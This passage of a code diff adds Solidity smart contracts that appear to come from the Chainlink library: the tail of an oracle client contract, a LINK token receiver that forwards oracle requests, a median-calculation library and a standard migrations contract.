+ * @notice Sets the Chainlink token address for the public
135
+ * network as given by the Pointer contract
136
+ */
137
+ function setPublicChainlinkToken() internal {
138
+ setChainlinkToken(PointerInterface(LINK_TOKEN_POINTER).getAddress());
139
+ }
140
+
141
+ /**
142
+ * @notice Retrieves the stored address of the LINK token
143
+ * @return The address of the LINK token
144
+ */
145
+ function chainlinkTokenAddress()
146
+ internal
147
+ view
148
+ returns (address)
149
+ {
150
+ return address(link);
151
+ }
152
+
153
+ /**
154
+ * @notice Retrieves the stored address of the oracle contract
155
+ * @return The address of the oracle contract
156
+ */
157
+ function chainlinkOracleAddress()
158
+ internal
159
+ view
160
+ returns (address)
161
+ {
162
+ return address(oracle);
163
+ }
164
+
165
+ /**
166
+ * @notice Allows for a request which was created on another contract to be fulfilled
167
+ * on this contract
168
+ * @param _oracle The address of the oracle contract that will fulfill the request
169
+ * @param _requestId The request ID used for the response
170
+ */
171
+ function addChainlinkExternalRequest(address _oracle, bytes32 _requestId)
172
+ internal
173
+ notPendingRequest(_requestId)
174
+ {
175
+ pendingRequests[_requestId] = _oracle;
176
+ }
177
+
178
+ /**
179
+ * @notice Sets the stored oracle and LINK token contracts with the addresses resolved by ENS
180
+ * @dev Accounts for subnodes having different resolvers
181
+ * @param _ens The address of the ENS contract
182
+ * @param _node The ENS node hash
183
+ */
184
+ function useChainlinkWithENS(address _ens, bytes32 _node)
185
+ internal
186
+ {
187
+ ens = ENSInterface(_ens);
188
+ ensNode = _node;
189
+ bytes32 linkSubnode = keccak256(abi.encodePacked(ensNode, ENS_TOKEN_SUBNAME));
190
+ ENSResolver_Chainlink resolver = ENSResolver_Chainlink(ens.resolver(linkSubnode));
191
+ setChainlinkToken(resolver.addr(linkSubnode));
192
+ updateChainlinkOracleWithENS();
193
+ }
194
+
195
+ /**
196
+ * @notice Sets the stored oracle contract with the address resolved by ENS
197
+ * @dev This may be called on its own as long as `useChainlinkWithENS` has been called previously
198
+ */
199
+ function updateChainlinkOracleWithENS()
200
+ internal
201
+ {
202
+ bytes32 oracleSubnode = keccak256(abi.encodePacked(ensNode, ENS_ORACLE_SUBNAME));
203
+ ENSResolver_Chainlink resolver = ENSResolver_Chainlink(ens.resolver(oracleSubnode));
204
+ setChainlinkOracle(resolver.addr(oracleSubnode));
205
+ }
206
+
207
+ /**
208
+ * @notice Encodes the request to be sent to the oracle contract
209
+ * @dev The Chainlink node expects values to be in order for the request to be picked up. Order of types
210
+ * will be validated in the oracle contract.
211
+ * @param _req The initialized Chainlink Request
212
+ * @return The bytes payload for the `transferAndCall` method
213
+ */
214
+ function encodeRequest(Chainlink.Request memory _req)
215
+ private
216
+ view
217
+ returns (bytes memory)
218
+ {
219
+ return abi.encodeWithSelector(
220
+ oracle.oracleRequest.selector,
221
+ SENDER_OVERRIDE, // Sender value - overridden by onTokenTransfer by the requesting contract's address
222
+ AMOUNT_OVERRIDE, // Amount value - overridden by onTokenTransfer by the actual amount of LINK sent
223
+ _req.id,
224
+ _req.callbackAddress,
225
+ _req.callbackFunctionId,
226
+ _req.nonce,
227
+ ARGS_VERSION,
228
+ _req.buf.buf);
229
+ }
230
+
231
+ /**
232
+ * @notice Ensures that the fulfillment is valid for this contract
233
+ * @dev Use if the contract developer prefers methods instead of modifiers for validation
234
+ * @param _requestId The request ID for fulfillment
235
+ */
236
+ function validateChainlinkCallback(bytes32 _requestId)
237
+ internal
238
+ recordChainlinkFulfillment(_requestId)
239
+ // solhint-disable-next-line no-empty-blocks
240
+ {}
241
+
242
+ /**
243
+ * @dev Reverts if the sender is not the oracle of the request.
244
+ * Emits ChainlinkFulfilled event.
245
+ * @param _requestId The request ID for fulfillment
246
+ */
247
+ modifier recordChainlinkFulfillment(bytes32 _requestId) {
248
+ require(msg.sender == pendingRequests[_requestId],
249
+ "Source must be the oracle of the request");
250
+ delete pendingRequests[_requestId];
251
+ emit ChainlinkFulfilled(_requestId);
252
+ _;
253
+ }
254
+
255
+ /**
256
+ * @dev Reverts if the request is already pending
257
+ * @param _requestId The request ID for fulfillment
258
+ */
259
+ modifier notPendingRequest(bytes32 _requestId) {
260
+ require(pendingRequests[_requestId] == address(0), "Request is already pending");
261
+ _;
262
+ }
263
+ }
@@ -0,0 +1,70 @@
1
+ pragma solidity ^0.5.0;
2
+
3
+ contract LinkTokenReceiver {
4
+
5
+ bytes4 constant private ORACLE_REQUEST_SELECTOR = 0x40429946;
6
+ uint256 constant private SELECTOR_LENGTH = 4;
7
+ uint256 constant private EXPECTED_REQUEST_WORDS = 2;
8
+ uint256 constant private MINIMUM_REQUEST_LENGTH = SELECTOR_LENGTH + (32 * EXPECTED_REQUEST_WORDS);
9
+ /**
10
+ * @notice Called when LINK is sent to the contract via `transferAndCall`
11
+ * @dev The data payload's first 2 words will be overwritten by the `_sender` and `_amount`
12
+ * values to ensure correctness. Calls oracleRequest.
13
+ * @param _sender Address of the sender
14
+ * @param _amount Amount of LINK sent (specified in wei)
15
+ * @param _data Payload of the transaction
16
+ */
17
+ function onTokenTransfer(
18
+ address _sender,
19
+ uint256 _amount,
20
+ bytes memory _data
21
+ )
22
+ public
23
+ onlyLINK
24
+ validRequestLength(_data)
25
+ permittedFunctionsForLINK(_data)
26
+ {
27
+ assembly {
28
+ // solhint-disable-next-line avoid-low-level-calls
29
+ mstore(add(_data, 36), _sender) // ensure correct sender is passed
30
+ // solhint-disable-next-line avoid-low-level-calls
31
+ mstore(add(_data, 68), _amount) // ensure correct amount is passed
32
+ }
33
+ // solhint-disable-next-line avoid-low-level-calls
34
+ (bool success, ) = address(this).delegatecall(_data); // calls oracleRequest
35
+ require(success, "Unable to create request");
36
+ }
37
+
38
+ function getChainlinkToken() public view returns (address);
39
+
40
+ /**
41
+ * @dev Reverts if not sent from the LINK token
42
+ */
43
+ modifier onlyLINK() {
44
+ require(msg.sender == getChainlinkToken(), "Must use LINK token");
45
+ _;
46
+ }
47
+
48
+ /**
49
+ * @dev Reverts if the given data does not begin with the `oracleRequest` function selector
50
+ * @param _data The data payload of the request
51
+ */
52
+ modifier permittedFunctionsForLINK(bytes memory _data) {
53
+ bytes4 funcSelector;
54
+ assembly {
55
+ // solhint-disable-next-line avoid-low-level-calls
56
+ funcSelector := mload(add(_data, 32))
57
+ }
58
+ require(funcSelector == ORACLE_REQUEST_SELECTOR, "Must use whitelisted functions");
59
+ _;
60
+ }
61
+
62
+ /**
63
+ * @dev Reverts if the given payload is less than needed to create a request
64
+ * @param _data The request payload
65
+ */
66
+ modifier validRequestLength(bytes memory _data) {
67
+ require(_data.length >= MINIMUM_REQUEST_LENGTH, "Invalid request length");
68
+ _;
69
+ }
70
+ }
@@ -0,0 +1,108 @@
1
+ pragma solidity ^0.5.0;
2
+
3
+ import "./vendor/SafeMath.sol";
4
+ import "./vendor/SignedSafeMath.sol";
5
+
6
+ library Median {
7
+ using SafeMath for uint256;
8
+ using SignedSafeMath for int256;
9
+
10
+ /**
11
+ * @dev Returns the sorted middle, or the average of the two middle indexed
12
+ * items if the array has an even number of elements
13
+ * @param _list The list of elements to compare
14
+ */
15
+ function calculate(int256[] memory _list)
16
+ internal
17
+ pure
18
+ returns (int256)
19
+ {
20
+ uint256 answerLength = _list.length;
21
+ uint256 middleIndex = answerLength.div(2);
22
+ if (answerLength % 2 == 0) {
23
+ int256 median1 = quickselect(copy(_list), middleIndex);
24
+ int256 median2 = quickselect(_list, middleIndex.add(1)); // quickselect is 1 indexed
25
+ int256 remainder = (median1 % 2 + median2 % 2) / 2;
26
+ return (median1 / 2).add(median2 / 2).add(remainder); // signed integers are not supported by SafeMath
27
+ } else {
28
+ return quickselect(_list, middleIndex.add(1)); // quickselect is 1 indexed
29
+ }
30
+ }
31
+
32
+ /**
33
+ * @dev Returns the kth value of the ordered array
34
+ * See: http://www.cs.yale.edu/homes/aspnes/pinewiki/QuickSelect.html
35
+ * @param _a The list of elements to pull from
36
+ * @param _k The index, 1 based, of the elements you want to pull from when ordered
37
+ */
38
+ function quickselect(int256[] memory _a, uint256 _k)
39
+ private
40
+ pure
41
+ returns (int256)
42
+ {
43
+ int256[] memory a = _a;
44
+ uint256 k = _k;
45
+ uint256 aLen = a.length;
46
+ int256[] memory a1 = new int256[](aLen);
47
+ int256[] memory a2 = new int256[](aLen);
48
+ uint256 a1Len;
49
+ uint256 a2Len;
50
+ int256 pivot;
51
+ uint256 i;
52
+
53
+ while (true) {
54
+ pivot = a[aLen.div(2)];
55
+ a1Len = 0;
56
+ a2Len = 0;
57
+ for (i = 0; i < aLen; i++) {
58
+ if (a[i] < pivot) {
59
+ a1[a1Len] = a[i];
60
+ a1Len++;
61
+ } else if (a[i] > pivot) {
62
+ a2[a2Len] = a[i];
63
+ a2Len++;
64
+ }
65
+ }
66
+ if (k <= a1Len) {
67
+ aLen = a1Len;
68
+ (a, a1) = swap(a, a1);
69
+ } else if (k > (aLen.sub(a2Len))) {
70
+ k = k.sub(aLen.sub(a2Len));
71
+ aLen = a2Len;
72
+ (a, a2) = swap(a, a2);
73
+ } else {
74
+ return pivot;
75
+ }
76
+ }
77
+ }
78
+
79
+ /**
80
+ * @dev Swaps the pointers to two uint256 arrays in memory
81
+ * @param _a The pointer to the first in memory array
82
+ * @param _b The pointer to the second in memory array
83
+ */
84
+ function swap(int256[] memory _a, int256[] memory _b)
85
+ private
86
+ pure
87
+ returns(int256[] memory, int256[] memory)
88
+ {
89
+ return (_b, _a);
90
+ }
91
+
92
+ /**
93
+ * @dev Makes an in memory copy of the array passed in
94
+ * @param _list The pointer to the array to be copied
95
+ */
96
+ function copy(int256[] memory _list)
97
+ private
98
+ pure
99
+ returns(int256[] memory)
100
+ {
101
+ int256[] memory list2 = new int256[](_list.length);
102
+ for (uint256 i = 0; i < _list.length; i++) {
103
+ list2[i] = _list[i];
104
+ }
105
+ return list2;
106
+ }
107
+
108
+ }
@@ -0,0 +1,23 @@
1
+ pragma solidity ^0.5.0; // solhint-disable-line compiler-fixed
2
+
3
+ contract Migrations {
4
+ address public owner;
5
+ uint public last_completed_migration;
6
+
7
+ modifier restricted() {
8
+ if (msg.sender == owner) _;
9
+ }
10
+
11
+ constructor() public {
12
+ owner = msg.sender;
13
+ }
14
+
15
+ function setCompleted(uint completed) public restricted {
16
+ last_completed_migration = completed;
17
+ }
18
+
19
+ function upgrade(address new_address) public restricted {
20
+ Migrations upgraded = Migrations(new_address);
21
+ upgraded.setCompleted(last_completed_migration);
22
+ }
23
+ }